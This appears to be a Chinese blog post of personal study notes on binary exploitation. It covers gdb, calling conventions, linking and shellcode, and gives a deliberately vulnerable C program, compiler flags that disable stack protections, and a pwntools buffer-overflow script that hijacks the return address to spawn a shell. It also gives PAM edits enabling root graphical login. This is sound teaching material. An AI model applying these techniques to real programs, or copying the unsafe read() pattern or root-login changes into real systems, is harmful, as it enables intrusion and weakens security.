Pwn

Pwn

环境配置

安装python2.7:

apt install python2.7 python-pip python-dev git libssl-dev libffi-dev build-essential

安装gdb,gdb-multiarch,同时安装binfmt(binfmt*)识别文件类型;

安装gdb插件pwndbg(github安装https://github.com/pwndbg/pwndbg.git)

安装pwntools

安装gcc-multilib可以在64位linux下运行32位程序

Pwn基础理论

在计算机中,当要表示的数据超出计算机所使用的数据的表示范围的时候,则产生数据的溢出.

产生的原因:

  1. 使用非类型安全的语言比如c/c++
  2. 以不可靠的方式存取或者复制内存缓冲区
  3. 编译器设置的内存缓冲区太靠近关键数据结构

gdb的使用:

1
2
3
4
5
6
7
disass 反汇编
b *0x080483f6 下断点
r 运行
delete 删除所有断点
start 从第一行运行
i b 查看所有断点
d 编号 删除断点

miniconda安装:如果安装失败,可以通过bash安装而不是zsh

如何查看当前是bash还是sh?echo $0

如何让ubuntu 22.04通过本地root登录?

/etc/pam.d/gdm-password和/etc/pam.d/gdm-autologin注释掉auth required pam_succeed_if.so user != root quiet_success

/root/.profile中注释mesg n 2> /dev/null || true,改为tty -s && mesg n || true

如何检查程序保护情况?

checksec --fiel=...

如何在编译时关闭保护?

gcc -no-pie -fno-stack-protector -z execstack -m32 -o read read.c

如何查看程序使用了哪些函数?

objdump -t -j .text read

-j 仅仅显示某一个段

-t 显示符号表入口

基础篇

从汇编角度理解函数调用

在调用一个函数时究竟发生了什么?

  • 函数参数压栈
    • 取地址
    • 压栈
  • 返回地址压栈 这个在调用call的同时就执行了
  • 执行函数代码
    • 保存ebp
    • 开启新栈帧
    • 保护寄存器
    • 执行代码
    • 还原寄存器
  • 平衡堆栈 找出之前的返回地址

如果一个函数的参数数量大于6,那么参数1到6使用相应的寄存器rdi rsi rdx rcx r8 r9来传递,超出6的部分使用栈来传递

使用寄存器进行参数传递时,寄存器的使用是有特殊顺序规定的:

image-20230114201005089

此外,寄存器名字的使用取决于传递参数的大小,如果第一个参数大小是4字节,需要用寄存器edi来保存

编译的过程?

  • 首先预处理器cpp将main.c翻译成ascii的中间文件main.i(在某些gcc版本中,预处理器被集成到编译器内部)
  • 然后c编译器cc1将main.i翻译成ascii的汇编语言main.s
  • 然后汇编器as将main.s翻译为可重定位目标文件main.o
  • 最后链接器进行链接

接下来我们详细的看一下链接部分

首先感谢好文章7.4 可重定位目标文件 - 深入理解计算机系统(CSAPP) (gitbook.io)

  • 为了链接,链接器必须进行两部分工作

    • 符号解析
    • 重定位
  • 目标文件有三种

    • 可重定位目标文件
    • 可执行目标文件
    • 共享目标文件
  • img
  • 上面的symtab是一个符号表,存放程序中定义和引用的函数和全局变量信息

如何理解GOT和PLT?

  • 首先要明确一下链接库的概念,链接库分为两种

    • 动态链接库

      在win中后缀为dll,在linux中为.so

      动态链接库在编译时并不编译进程序,而是在程序运行时进行调用,性能虽然不高,但是软件的体积较小

    • 静态链接库

      在win中后缀为.lib 在linxu中为.a

      静态链接库在编译时代码并入程序,造成程序体积庞大 但是性能较高 不依赖任何第三方库

如何理解shellcode?

  • shellcode对应的C语言代码一般是system("/bin/sh"),但是在底层调用的是sysexecve()

    • 接收三个参数:

    • filename

    • argv

    • envp 表示传递给程序的环境变量的字符串数组

  • 比较好的文章:linux环境下shellcode的编写:32位和64位___lifanxin的博客-CSDN博客

  • 如何利用python把字符串和16进制数字相互转换?

    1
    2
    print("sh/".encode().hex())
    print(bytes.fromhex("73682f").decode())

实战-溢出实例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include<stdio.h>
void exploit()
{
system("/bin/sh");
}
void func()
{
char str[0x20];
read(0, str, 0x50);
}
int main()
{
func();
return 0;
}

我们的最终目的是执行exploit函数

首先我们执行checksec --file=read2查看程序保护情况

然后我们通过objdump -t -j .text read2查看代码段有多少函数

image-20230112165245701

观察到有三个函数,最终我们的目的是执行exploit函数

然后我们进入调试

输入start开始逐步调试程序

image-20230112165447968

注意看此时的ebp和esp是指向同一地址,注意栈帧的变化

单步运行:n

通过disass exploit查看函数得到地址0x08049186

然后运行脚本

1
2
3
4
5
6
7
8
9
# coding=utf-8
from pwn import *

p = process("read")
offset = 0x28 + 0x4
payload = 'a' * offset + p32(0x08049186)
# p32是将数字变为字符
p.sendline(payload) # 发送payload
p.interactive() # 获取运行时环境

Cannary保护

image-20230114125951607

进阶篇

Rop-Ret2Text介绍及插件配置

  • ret2text就是执行程序中的已有代码

  • 如何使用pwndbg快速定位溢出偏移?

    cyclic -l 报错地址

  • 如何使用peda快速定位溢出偏移?

    pattern create 200

    pattern offset 0x63561

Rop-Ret2Text实例讲解

  •   objdump -t 查看程序中使用的函数
      objdump -d 查看函数的汇编代码
      objdump -d -j .plt 查看plt表
        -j的参数有 .text .data .const .bss
      objdump -d -M intel查看函数的汇编代码 并且数intel架构的
  • gdb attach 你的pid 附加进程调试

Rop-Ret2Shellcode-32位实例

  • ret2text依赖于程序中存在system('bin/sh')的函数

  • ret2shellcode必须不开启nx保护

  • shellcode就是用于实现特定功能的汇编代码,通常是开启一个shell

  • image-20230117123645746
    • image-20230117135932344
  • shellcode获取的两种方式

    • 手写
    • pwntools生成
  • nx又称dep,即数据执行保护,可写的不可执行,可执行的不可写

  • 查看要拷贝的那个地址所在的段

    • gdb中readelf
    • shell中readelf -S
  • gdb中的vmmap是查看程序的各种段的地址和范围的


Pwn
https://d4wnnn.github.io/2022/10/11/Security/Pwn/
作者
D4wn
发布于
2022年10月11日
许可协议